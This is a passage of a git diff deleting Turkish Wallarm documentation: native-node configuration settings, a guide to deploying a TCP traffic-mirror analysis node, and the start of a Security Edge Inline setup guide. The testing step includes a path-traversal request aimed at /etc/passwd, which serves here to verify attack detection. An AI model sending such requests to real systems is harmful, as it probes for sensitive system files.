günlüğü çıktısının hedefini belirtir. Seçenekler `stdout`, `stderr` veya bir günlük dosyasına giden yoldur. - -Varsayılan: `stderr`. Ancak, node `stderr` çıktısını `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yönlendirir. - -### log.access_log (sürüm 0.5.1 ve üzeri) - -#### enabled - -Erişim günlüklerinin toplanıp toplanmayacağını kontrol eder. - -Varsayılan: `true`. - -#### verbose - -Erişim günlüğü çıktısında her istek hakkında ayrıntılı bilgilerin yer alıp almayacağını kontrol eder. - -Varsayılan: `true`. - -#### log_file - -Erişim günlüğü çıktısının hedefini belirtir. Seçenekler `stdout`, `stderr` veya bir günlük dosyasına giden yoldur. - -Varsayılan: `stderr`. Ancak, node `stderr` çıktısını `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yönlendirir. - -Ayarlanmazsa, [`log.log_file`](#loglog_file) ayarı kullanılır. - -## Gelişmiş ayarlar - -```yaml -version: 4 - -goreplay: - path: /opt/wallarm/usr/bin/gor - -middleware: - parse_responses: true - response_timeout: 5s - -http_inspector: - workers: auto - libdetection_enabled: true - api_firewall_enabled: true - api_firewall_database: /opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db - wallarm_dir: /opt/wallarm/etc/wallarm - shm_dir: /tmp - -postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - -log: - proton_log_mask: info@* - -metrics: - enabled: true - listen_address: :9000 - legacy_status: - enabled: true - listen_address: 127.0.0.1:10246 - -health_check: - enabled: true - listen_address: :8080 -``` - -### goreplay.path - -GoReplay ikili dosyasının yolu. Genellikle bu parametreyi değiştirmeniz gerekmez. - -Varsayılan: `/opt/wallarm/usr/bin/gor`. - -### middleware.parse_responses - -Yansıtılan yanıtların ayrıştırılıp ayrıştırılmayacağını kontrol eder. Bu, [zafiyet tespiti](../../../about-wallarm/detecting-vulnerabilities.md) ve [API keşfi](../../../api-discovery/overview.md) gibi yanıt verilerine dayanan Wallarm özelliklerini etkinleştirir. - -Varsayılan olarak, `true`. - -Yanıt yansıtmasının, Wallarm node’unun bulunduğu hedef instance’a yapılacak şekilde ortamınızda yapılandırıldığından emin olun. - -### middleware.response_timeout - -Bir yanıt için beklenecek azami süreyi belirtir. Belirtilen süre içinde yanıt alınmazsa, Wallarm süreçleri ilgili yanıtı beklemeyi durdurur. - -Varsayılan: `5s`. - -### http_inspector.workers - -Wallarm worker sayısı. - -Varsayılan: `auto`, yani worker sayısı CPU çekirdeği sayısına ayarlanır. - -### http_inspector.libdetection_enabled - -[libdetection](../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) kütüphanesi kullanılarak SQL Injection saldırılarının ek olarak doğrulanıp doğrulanmayacağını belirtir. - -Varsayılan: `true`. - -### http_inspector.api_firewall_enabled - -[API Spesifikasyon Zorlaması](../../../api-specification-enforcement/overview.md) özelliğinin etkin olup olmadığını kontrol eder. Lütfen bu özelliğin etkinleştirilmesinin, gerekli aboneliğin ve Wallarm Console UI üzerinden yapılan yapılandırmanın yerine geçmediğini unutmayın. - -Varsayılan: `true`. - -### http_inspector.api_firewall_database - -[API Spesifikasyon Zorlaması](../../../api-specification-enforcement/overview.md) için yüklediğiniz API spesifikasyonlarını içeren veritabanının yolunu belirtir. Bu veritabanı Wallarm Cloud ile senkronize edilir. - -Genellikle bu parametreyi değiştirmeniz gerekmez. - -Varsayılan: `/opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db`. - -### http_inspector.wallarm_dir - -Node yapılandırma dosyaları için dizin yolunu belirtir. Genellikle bu parametreyi değiştirmeniz gerekmez. Yardıma ihtiyacınız olursa lütfen [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin. - -Varsayılan: `/opt/wallarm/etc/wallarm`. - -### http_inspector.shm_dir - -HTTP analizörü paylaşımlı dizini. Genellikle bu parametreyi değiştirmeniz gerekmez. - -Varsayılan: `/tmp`. - -### postanalytics_exporter.address - -Wallarm’ın istek işleme akışında istatistiksel istek analizini gerçekleştiren postanalytics servisinin adresini ayarlar. Genellikle bu parametreyi değiştirmeniz gerekmez. - -Varsayılan: `127.0.0.1:3313`. - -Node 0.12.x ve öncesinde, bu parametre [`tarantool_exporter.address` olarak ayarlanmıştır](../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics). Yükseltme sırasında yeniden adlandırma gereklidir. - -### postanalytics_exporter.enabled - -Postanalytics servisinin etkin olup olmadığını kontrol eder. Bu parametrenin `true` olarak ayarlanması gerekir; aksi halde Wallarm node’u çalışmaz. - -Varsayılan: `true`. - -Node 0.12.x ve öncesinde, bu parametre [`tarantool_exporter.enabled` olarak ayarlanmıştır](../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics). Yükseltme sırasında yeniden adlandırma gereklidir. - -### log.proton_log_mask - -Dahili trafik günlüğe kaydı için maske. Genellikle bu parametreyi değiştirmeniz gerekmez. - -Varsayılan: `info@*`. - -### metrics.enabled - -[Prometheus metriklerinin](../../../admin-en/configure-statistics-service.md#usage) etkin olup olmadığını kontrol eder. Bu parametrenin `true` olarak ayarlanması gerekir; aksi halde Wallarm node’u düzgün çalışmaz. - -Varsayılan: `true`. - -### metrics.listen_address - -Prometheus metriklerinin yayımlanacağı adres ve portu ayarlar. Bu metriklere erişmek için `/metrics` uç noktasını kullanın. - -Varsayılan: `:9000` (9000 numaralı port üzerindeki tüm ağ arayüzleri). - -### metrics.legacy_status.enabled - -[`/wallarm-status`](../../../admin-en/configure-statistics-service.md#usage) metrik servisinin etkin olup olmadığını kontrol eder. Bu parametrenin `true` olarak ayarlanması gerekir; aksi halde Wallarm node’u düzgün çalışmaz. - -Varsayılan: `true`. - -### metrics.legacy_status.listen_address - -JSON formatında `/wallarm-status` metriklerinin yayımlanacağı adres ve portu ayarlar. Bu metriklere erişmek için `/wallarm-status` uç noktasını kullanın. - -Varsayılan: `127.0.0.1:10246`. - -### health_check.enabled - -Sağlık denetimi uç noktalarının etkin olup olmadığını kontrol eder. - -Varsayılan: `true`. - -### health_check.listen_address - -`/live` ve `/ready` sağlık denetimi uç noktaları için adres ve portu ayarlar. - -Varsayılan: `:8080` (8080 numaralı port üzerindeki tüm ağ arayüzleri). \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/tcp-traffic-mirror/deployment.md b/docs/latest-tr/installation/oob/tcp-traffic-mirror/deployment.md deleted file mode 100644 index e383d4192b..0000000000 --- a/docs/latest-tr/installation/oob/tcp-traffic-mirror/deployment.md +++ /dev/null @@ -1,305 +0,0 @@ -# TCP Trafik Yansıtma Analizi için Düğüm Dağıtımı - -Wallarm, TCP trafik yansıtma analizine özel tasarlanmış filtreleme düğümünü dağıtmak için bir artefakt sağlar. Bu kılavuz, Wallarm filtreleme düğümünün bu form faktörde nasıl dağıtılacağını ve yapılandırılacağını açıklar. - -## Kullanım senaryoları - -Desteklenen tüm [out-of-band dağıtım seçenekleri](../../supported-deployment-options.md#out-of-band) arasında, bu çözüm aşağıdaki senaryolar için önerilir: - -* Ağ katmanında yansıtılan TCP trafiğini yakalamayı tercih ediyor ve bu trafiği analiz edecek bir güvenlik çözümüne ihtiyaç duyuyorsunuz. -* NGINX tabanlı dağıtım artefaktları kullanılamıyor, çok yavaş veya çok fazla kaynak tüketiyor. Bu durumda, HTTP trafik yansıtma analizi uygulaması kaynak yoğun olabilir. TCP trafik yansıtma analizi ise web sunucularından bağımsız çalışır ve bu sorunlardan kaçınır. -* Yanıtlara da ayrıştırma uygulayan, buna bağlı olarak [security vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md) ve [API Discovery](../../../api-discovery/overview.md) gibi yanıt verisine dayanan özellikleri etkinleştiren bir güvenlik çözümüne ihtiyaç duyuyorsunuz. - -## Nasıl çalışır - -Bu çözüm bant dışı (OOB) modda çalışır, NGINX gibi web sunucularından bağımsız olarak yansıtılan TCP trafiğini doğrudan ağ arayüzünden yakalar. Yakalanan trafik daha sonra ayrıştırılır, yeniden birleştirilir ve tehditler için analiz edilir. - -Bir yansı hedefi olarak çalışır ve birden çok trafik kaynağı arasında sorunsuzca geçiş yapar. Çözüm VLAN (802.1q), VXLAN veya SPAN ile etiketlenmiş trafiği destekler. - -Ek olarak, çözüm yanıt yansımasını ayrıştırmayı da etkinleştirir ve yanıt verisine dayanan Wallarm özelliklerini sağlar. Bu özellikler arasında [security vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md), [API Discovery](../../../api-discovery/overview.md) ve daha fazlası bulunur. - -![!TCP trafik yansıtma şeması](../../../images/waf-installation/oob/tcp-mirror-analysis.png) - -## Gereksinimler - -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim. -* Düğümü çalıştırmayı planladığınız makine aşağıdaki kriterleri karşılamalıdır: - - * Linux OS - * x86_64/ARM64 mimarisi - * Tüm komutların süper kullanıcı (ör. `root`) olarak çalıştırılması - * Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` adresine giden bağlantılara izin verilmesi - * US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com`, EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adreslerine giden bağlantılara izin verilmesi - * Saldırı tespit kurallarına ve [API specifications](../../../api-specification-enforcement/overview.md) güncellemelerini indirmek, ayrıca [allowlisted, denylisted, or graylisted](../../../user-guides/ip-lists/overview.md) ülke, bölge veya veri merkezlerinizin kesin IP’lerini almak için aşağıdaki IP adreslerine giden bağlantılara izin verilmesi - - --8<-- "../include/wallarm-cloud-ips.md" -* Trafik ve yanıt yansıtma hem kaynak hem hedef ile yapılandırılmış olmalı ve hazırlanan örnek yansı hedefi olarak seçilmelidir. Trafik yansıtma yapılandırmaları için belirli protokollere izin verilmesi gibi belirli ortam gereksinimleri karşılanmalıdır. -* Yansıtılan trafik VLAN (802.1q), VXLAN veya SPAN ile etiketlenmiş olmalıdır. - -## Adım 1: Wallarm token’ını hazırlayın - -Düğümü kurmak için, düğümü Wallarm Cloud’a kaydetmek üzere bir token gereklidir. Bir token hazırlamak için: - -1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. -1. Kullanım türü `Node deployment/Deployment` olan bir API token’ı bulun veya oluşturun. -1. Bu token’ı kopyalayın. - -## Adım 2: Wallarm yükleyicisini indirin - -Wallarm aşağıdaki işlemciler için yüklemeler sunar: - -* x86_64 -* ARM64 - -Wallarm yükleme betiğini indirmek ve çalıştırılabilir yapmak için şu komutları kullanın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.x86_64.sh - chmod +x aio-native-0.17.1.x86_64.sh - ``` -=== "ARM64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.aarch64.sh - chmod +x aio-native-0.17.1.aarch64.sh - ``` - -## Adım 3: Yapılandırma dosyasını hazırlayın - -Örnekte `wallarm-node-conf.yaml` dosyasını oluşturun. Çözümün ağ arayüzünü ve trafik biçimini (ör. VLAN, VXLAN) tanımlayabilmesi için uygun yapılandırma gereklidir. Dosyanın örnek içeriği: - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan -``` - -[Makale](../../native-node/all-in-one-conf.md) içinde desteklenen diğer yapılandırma parametrelerinin listesini bulabilirsiniz. - -### Modun ayarlanması (zorunlu) - -TCP trafik yansıtma analizi için çözümü çalıştırmak üzere ilgili parametreye `tcp-capture` modunu belirtmek zorunludur. - -### Dinleme için bir ağ arayüzü seçme - -Trafiğin yakalanacağı ağ arayüzünü belirtmek için: - -1. Ana makinede mevcut ağ arayüzlerini kontrol edin: - - ``` - ip addr show - ``` - -1. `filter` parametresinde ağ arayüzünü belirtin. - - Değerin, ağ arayüzü ve portun iki nokta üst üste (`:`) ile ayrılmış hali olması gerektiğini unutmayın. Filtre örnekleri `eth0:`, `eth0:80` veya (tüm arayüzlerde belirli bir portu yakalamak için) `:80` şeklindedir, örneğin: - - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: 'eth0:' - ``` - -### VLAN yakalama - -Yansıtılan trafik VLAN içinde kapsüllenmişse, ek argümanlar sağlayın: - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VLAN'ınızın VID değeri, ör.: - # - 42 -``` - -### VXLAN yakalama - -Yansıtılan trafik VXLAN içinde kapsüllenmişse (AWS’de yaygın), ek argümanlar sağlayın: - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - # Özel VXLAN UDP portu, ör.: - # - -input-raw-vxlan-port - # - 4789 - # Belirli VNI (varsayılan olarak tüm VNI'lar yakalanır), ör.: - # - -input-raw-vxlan-vni - # - 1 -``` - -### Özgün istemci IP’sini ve host başlıklarını belirleme - -Trafik proxy’lerden veya yük dengeleyicilerden geçtiğinde, bunlar genellikle özgün istemci IP adresini ve `Host` başlığını kendi değerleriyle değiştirir. Özgün bilgiyi korumak için bu tür aracı bileşenler genellikle `X-Forwarded-For`, `X-Real-IP` veya `X-Forwarded-Host` gibi HTTP başlıkları ekler. - -Native Node’un özgün istemciyi ve hedef host’u doğru şekilde tanımlaması için [`proxy_headers`](../../native-node/all-in-one-conf.md#proxy_headers) yapılandırma bloğunu kullanın, ör.: - -```yaml -version: 4 - -mode: tcp-capture - -proxy_headers: - # Kural 1: Şirket içi proxy’ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici edge proxy’ler (ör., CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP -``` - -## Adım 4: Wallarm yükleyicisini çalıştırın - -TCP trafik yansıtma analizi için Wallarm düğümünü kurmak üzere aşağıdaki komutu çalıştırın: - -=== "x86_64 sürümü" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` -=== "ARM64 sürümü" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* `WALLARM_LABELS` değişkeni düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplandırılması için kullanılır). -* ``, `Node deployment/Deployment` kullanım türü için oluşturulan API token’ını belirtir. -* ``, önceden hazırlanmış yapılandırma dosyasının yolunu belirtir. - -Sağlanan yapılandırma dosyası şu yola kopyalanacaktır: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -Gerekirse, kurulum tamamlandıktan sonra kopyalanan dosyayı değiştirebilirsiniz. Değişiklikleri uygulamak için `sudo systemctl restart wallarm` komutuyla Wallarm servisini yeniden başlatmanız gerekir. - -## Adım 5: Çözümü test edin - -Test amaçlı [Dizin Geçişi](../../../attacks-vulns-list.md#path-traversal) saldırısını, `` değerini örneğin gerçek IP adresi veya DNS adıyla değiştirerek yansı kaynağı adresine gönderin: - -``` -curl http:///etc/passwd -``` - -Wallarm’ın TCP trafik yansıtma analizi çözümü bant dışı çalıştığından, saldırıları engellemez, yalnızca kaydeder. - -Saldırının kaydedildiğini doğrulamak için Wallarm Console → **Events** bölümüne gidin: - -![!Arayüzde saldırılar](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## Düğümün çalışmasını doğrulama - -* Yakalamaya çalıştığınız ağ arayüzünde trafik olup olmadığını kontrol etmek için makinenizde aşağıdaki komutu çalıştırın: - - ``` - sudo tcpdump -i - ``` -* Düğümün trafiği tespit ettiğini doğrulamak için günlükleri kontrol edebilirsiniz: - - * Native Node günlükleri varsayılan olarak `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yazılır. - * Verilerin Wallarm Cloud’a gönderilip gönderilmediği, tespit edilen saldırılar vb. gibi filtreleme düğümünün [standart günlükleri](../../../admin-en/configure-logging.md) `/opt/wallarm/var/log/wallarm` dizininde bulunur. - -Ek hata ayıklama için [`log.level`](../../native-node/all-in-one-conf.md#loglevel) parametresini `debug` olarak ayarlayın. - -## Yükleyici başlatma seçenekleri - -* Hepsi bir arada betiği indirdikten sonra, bununla ilgili **yardımı** şu şekilde alabilirsiniz: - - === "x86_64 sürümü" - ``` - sudo ./aio-native-0.17.1.x86_64.sh -- --help - ``` - === "ARM64 sürümü" - ``` - sudo ./aio-native-0.17.1.aarch64.sh -- --help - ``` -* Yükleyiciyi **etkileşimli** modda da çalıştırabilir ve 1. adımda `tcp-capture` modunu seçebilirsiniz: - - === "x86_64 sürümü" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh - ``` - === "ARM64 sürümü" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh - ``` -* Düğümü yalnızca API Discovery modunda kullanabilirsiniz (sürüm 0.12.1’den itibaren mevcuttur). Bu modda, düğümün yerleşik mekanizmalarıyla veya ek yapılandırma gerektirenlerle (ör., kimlik bilgisi doldurma, API spesifikasyonu ihlali girişimleri ve brute force) tespit edilen saldırılar yerel olarak [loglanır](../../../admin-en/configure-logging.md) ancak Wallarm Cloud’a aktarılmaz. Cloud’da saldırı verisi olmadığından [Threat Replay Testing](../../../vulnerability-detection/threat-replay-testing/overview.md) çalışmaz. - - Bu sırada, [API Discovery](../../../api-discovery/overview.md), [API session tracking](../../../api-sessions/overview.md) ve [security vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md) tamamen işlevseldir; ilgili güvenlik varlıklarını tespit eder ve görselleştirme için Cloud’a yükler. - - Bu mod, önce API envanterlerini gözden geçirmek ve hassas verileri belirlemek isteyenler ve buna göre kontrollü saldırı verisi aktarımı planlayanlar içindir. Ancak saldırı verisi aktarımını devre dışı bırakmak nadirdir, çünkü Wallarm saldırı verisini güvenle işler ve gerekirse [sensitive attack data masking](../../../user-guides/rules/sensitive-data-rule.md) sağlar. - - Yalnızca API Discovery modunu etkinleştirmek için: - - 1. `/etc/wallarm-override/env.list` dosyasını oluşturun veya düzenleyin: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Aşağıdaki değişkeni ekleyin: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. [1. adımdaki düğüm kurulum prosedürünü](#step-1-prepare-wallarm-token) izleyin. - -## Yükseltme ve yeniden kurulum - -* Düğümü yükseltmek için [talimatları](../../../updating-migrating/native-node/all-in-one.md) izleyin. -* Yükseltme veya yeniden kurulum sürecinde bir sorun varsa: - - 1. Mevcut kurulumu kaldırın: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Yukarıdaki kurulum adımlarını izleyerek düğümü her zamanki gibi kurun. - -## Sınırlamalar - -* Trafiği gerçek akıştan bağımsız analiz eden bant dışı (OOB) çalışma nedeniyle, çözümün bazı doğal sınırlamaları vardır: - - * Kötü amaçlı istekleri anında engellemez. Wallarm yalnızca saldırıları gözlemler ve size [Wallarm Console’daki ayrıntıları](../../../user-guides/events/check-attack.md) sağlar. - * Hedef sunuculardaki yükü sınırlandırmak mümkün olmadığından [Rate limiting](../../../user-guides/rules/rate-limiting.md) desteklenmez. - * [IP adreslerine göre filtreleme](../../../user-guides/ip-lists/overview.md) desteklenmez. -* Çözüm yalnızca ham TCP üzerinden şifrelenmemiş HTTP trafiğini analiz eder, şifrelenmiş HTTPS trafiğini analiz etmez. -* Çözüm henüz HTTP keep-alive bağlantıları üzerindeki yanıtların ayrıştırılmasını desteklemez. \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/terraform-module/terraform-aws-wallarm b/docs/latest-tr/installation/oob/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-tr/installation/oob/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-tr/installation/security-edge/deployment.md b/docs/latest-tr/installation/security-edge/deployment.md deleted file mode 100644 index 29276d24ff..0000000000 --- a/docs/latest-tr/installation/security-edge/deployment.md +++ /dev/null @@ -1,248 +0,0 @@ -# Security Edge Inline - -**Security Edge** platformu, Wallarm tarafından barındırılan bir ortamda coğrafi olarak dağıtılmış konumlarda Wallarm düğümlerini (node) dağıtmak için yönetilen bir hizmet sunar. Başlıca dağıtım seçeneklerinden biri olan **inline** dağıtım, herhangi bir yerinde kurulum gerektirmeden tüm API yelpazeniz için gerçek zamanlı ve güçlü koruma sağlar. - -DNS ayarlarınızdaki CNAME kayıtlarını değiştirerek trafiği host'larınızdan Wallarm uç (edge) düğümlerine yönlendirebildiğiniz senaryolarda API'leri güvenceye almak için ideal bir çözümdür. - -![!](../../images/waf-installation/security-edge/inline/traffic-flow.png) - -## Nasıl çalışır - -Security Edge hizmeti, Wallarm düğümlerinin Wallarm tarafından dağıtıldığı, barındırıldığı ve yönetildiği güvenli bir bulut ortamı sağlar: - -* Anahtar teslim dağıtım: Wallarm’ın, küresel olarak dağıtılmış konumlara düğümleri otomatik olarak dağıtması için minimum kurulum gerekir. -* Otomatik ölçeklendirme: Düğümler, değişken trafik yüklerini karşılamak için yatay olarak otomatik ölçeklenir; manuel yapılandırma gerekmez. -* Azaltılmış maliyetler: Wallarm tarafından yönetilen düğümler ile daha düşük operasyonel yük, daha hızlı dağıtım ve ölçeklenebilirlik. -* Sorunsuz entegrasyon: Basit yapılandırma ile API ortamınızı kesintiye uğratmadan korumanızı sağlar. - -## Sınırlamalar - -* Yalnızca üçüncü seviye veya daha üstü alan adları desteklenir (ör. `domain.com` yerine `www.domain.com` kullanın). -* Yalnızca 64 karakterden kısa alan adları desteklenir. -* Yalnızca HTTPS trafiği desteklenir; HTTP’ye izin verilmez. -* [Özel engelleme sayfası ve engelleme kodu](../../admin-en/configuration-guides/configure-block-page-and-code.md) yapılandırmaları henüz desteklenmemektedir. - -## Edge Inline'ı yapılandırma - -Edge inline’ı çalıştırmak için Wallarm Console → Security Edge → Edge inline → Configure yolunu izleyin. Bu bölüm kullanılamıyorsa, gerekli abonelik için sales@wallarm.com ile iletişime geçin. - -Filtrelenmiş trafiği iletmek için birden fazla origin ve korumak için birden fazla host yapılandırabilirsiniz. Demoya bakın: - -
              - -
              - -
              -
              - -Edge node dağıtım ayarlarını istediğiniz zaman güncelleyebilirsiniz. Düğüm, mevcut CNAME kayıtları değişmeden yeniden dağıtılacaktır. - -### 1. Genel ayarlar - -Genel ayarlarda, Edge node’un dağıtılacağı bölgeleri ve filtrelenmiş trafiğin iletileceği origin’leri belirtirsiniz. - -#### Bölgeler - -Edge node’u dağıtmak için bir veya daha fazla bölge seçin. API’lerinizin veya uygulamalarınızın barındırıldığı yerlere yakın bölgeleri seçmenizi öneririz. - -Birden fazla bölgede dağıtım, coğrafi yedekliliği artırır ve yüksek erişilebilirlik sağlar. - -#### Origin sunucuları - -Edge node’un filtrelenmiş trafiği ileteceği origin’leri belirtin. Her origin için, isteğe bağlı port (varsayılan: 443) ile bir sunucu IP adresi veya FQDN sağlayın. - -Bir origin birden fazla sunucuya sahipse, hepsini belirtebilirsiniz. İstekler şu şekilde dağıtılır: - -* Round-robin algoritması kullanılır. İlk istek ilk sunucuya, ikincisi bir sonrakine gönderilir ve sonuncudan sonra döngü başa sarar. -* IP tabanlı oturum kalıcılığı ile, aynı IP’den gelen trafik tutarlı olarak aynı sunucuya yönlendirilir. - -!!! info "Wallarm IP aralıklarından origin'lere trafiğe izin verin" - Origin’leriniz, seçilen bölgeler tarafından kullanılan IP aralıklarından gelen trafiğe izin vermelidir: - - === "us-east-1 (N. Virginia)" - ``` - 18.215.213.205 - 44.214.56.120 - 44.196.111.152 - ``` - === "us-east-2 (Ohio)" - ``` - 3.148.62.175 - 18.224.237.190 - 3.20.55.107 - 3.135.4.73 - 3.142.190.180 - 3.15.129.1 - 18.116.243.148 - 18.116.233.194 - ``` - === "us-west-1" - ``` - 52.8.91.20 - 13.56.117.139 - 54.177.237.34 - 50.18.177.184 - ``` - === "eu-central-1 (Frankfurt)" - ``` - 18.153.123.2 - 18.195.202.193 - 3.76.66.246 - 3.79.213.212 - ``` - === "eu-central-2 (Zurich)" - ``` - 51.96.131.55 - 16.63.191.19 - 51.34.0.90 - 51.96.67.145 - ``` - -![!](../../images/waf-installation/security-edge/inline/general-settings-section.png) - -Daha sonra, trafik analizi ve filtreleme için host eklerken, her host veya konumu (location) ilgili origin’ine atayacaksınız. - -### 2. Sertifikalar - -**Certificates** bölümünde, alan adlarınız için sertifikalar edinebilirsiniz: - -* Edge Inline node’u doğrudan, internete açık bir çözüm olarak dağıtılmışsa, Wallarm’ın trafiği origin sunucularınıza güvenle yönlendirmesi için sertifikalara ihtiyaç vardır. Sertifikalar, bu bölümde belirtilen DNS bölgelerine göre verilir. - - Yapılandırma tamamlandıktan sonra, Wallarm her DNS bölgesi için bir CNAME sağlar. Alan adı sahipliğini doğrulamak ve sertifika verme işlemini tamamlamak için bu CNAME kaydını DNS ayarlarınıza ekleyin. -* Origin sunucularınız, trafiği proxy’leyen üçüncü taraf bir hizmetin (ör. bir CDN veya Cloudflare ya da Akamai gibi bir DDoS koruma sağlayıcısı) arkasındaysa, sertifika verilmesi gerekmez. Bu durumda, **Skip certificate issuance** seçeneğini belirleyin. - -![!](../../images/waf-installation/security-edge/inline/certificates.png) - -Her biri farklı bir sertifika verme yaklaşımına sahip birden fazla DNS bölgesi belirtebilirsiniz. - -### 3. Hostlar - -**Hosts** bölümünde: - -1. Trafiği analiz için Wallarm node’una yönlendirecek alan adlarını, portları ve alt alan adlarını belirtin. Her host girdisi, daha önce **Certificates**’ta tanımlanan bir DNS bölgesiyle eşleşmelidir. - - ??? info "İzin verilen portlar" - HTTP portlarından Edge node’a trafik yönlendirmeye izin verilmez. Aşağıdaki portlar desteklenir: - - 443, 444, 1443, 1760, 2001, 2087, 2096, 4333, 4334, 4430, 4440, 4443 4466, 4993, 5000, 5001, 5454, 7003, 7443, 7741, 8010, 8012, 8070, 8071, 8072, 8075, 8076, 8077, 8078, 8081, 8082, 8084, 8085, 8086, 8088, 8090, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8104, 8181, 8243, 8282, 8383, 8443, 8444, 8448, 8585, 8723, 8787, 8801, 8866, 9052, 9090, 9093, 9111, 9193, 9440, 9443, 9797, 44300, 44301, 44302, 44395, 44443, 52233, 55180, 55553 ve 60000 - -1. (İsteğe bağlı) Host’un trafiğini Wallarm platformunda farklı API örneklerini veya servislerini kategorize edip yönetmek için bir [Wallarm application](../../user-guides/settings/applications.md) ile ilişkilendirin. -1. Her host için [Wallarm mode](../../admin-en/configure-wallarm-mode.md) ayarını belirleyin. -1. (İsteğe bağlı) Sunucu [NGINX yönergeleri](https://nginx.org/en/docs/http/ngx_http_proxy_module.html)’ni belirtin. Varsayılan olarak, bu yönergeler NGINX dokümantasyonunda belirtildiği gibi NGINX’in standart değerlerini kullanır. -1. Her host için, kök konum (`/`) yapılandırmasını tanımlayın: - - * Wallarm node’un filtrelenmiş trafiği ileteceği origin (başka konum özel ayarları tanımlanmadıysa). Konumun yolu, origin’e otomatik olarak eklenir. - * (İsteğe bağlı) Wallarm application. - * Filtrasyon modu. - -![!](../../images/waf-installation/security-edge/inline/hosts.png) - -Host’lar içindeki belirli **location**’lar için ayrıca şu özelleştirmeleri yapabilirsiniz: - -* Origin. Konumda tanımlanan yol otomatik olarak origin’e eklenir. -* Wallarm application. -* Filtrasyon modu. -* Bazı [NGINX yönergeleri](https://nginx.org/en/docs/http/ngx_http_proxy_module.html). Varsayılan olarak, bu yönergeler NGINX dokümantasyonunda belirtildiği gibi NGINX’in standart değerlerini kullanır. - -Her konum, özellikle geçersiz kılınmadıkça host ve kök konum ayarlarını devralır. - -Aşağıdaki örnek yapılandırma, belirli gereksinimleri karşılamak üzere yol bazında ayarları özelleştirir: `/auth`, engelleme modu etkinleştirilerek güvenliği önceliklendirir, `/data` ise `client_max_body_size` değerini 5 MB’a yükselterek daha büyük yüklemelere izin verir. - -![!](../../images/waf-installation/security-edge/inline/locations.png) - -### 4. (İsteğe bağlı) Admin settings - -**Admin settings** bölümünde bir node sürümü seçer ve yükseltme ayarlarını belirtirsiniz: - -* Dağıtılacak Edge node sürümünü seçin. Varsayılan olarak en son kullanılabilir sürüm dağıtılır. - - Sürümlerin değişiklik günlüğü için [makaleye](../../updating-migrating/node-artifact-versions.md#all-in-one-installer) bakın. Edge node sürümü, bağlantı verilen makaledeki aynı sürüme karşılık gelen `..` biçimini izler. Edge node sürümündeki build numarası, küçük değişiklikleri belirtir. -* Gerekirse [Auto update](#upgrading-the-edge-inline) özelliğini etkinleştirin. - -![!](../../images/waf-installation/security-edge/inline/admin-settings.png) - -### 5. Sertifika CNAME yapılandırması - -**Certificates** bölümünde DNS bölgeleri belirtilmişse, Wallarm Console’da sağlanan CNAME kayıtlarını her DNS bölgesi için DNS sağlayıcınızın ayarlarına ekleyin. Bu kayıtlar, 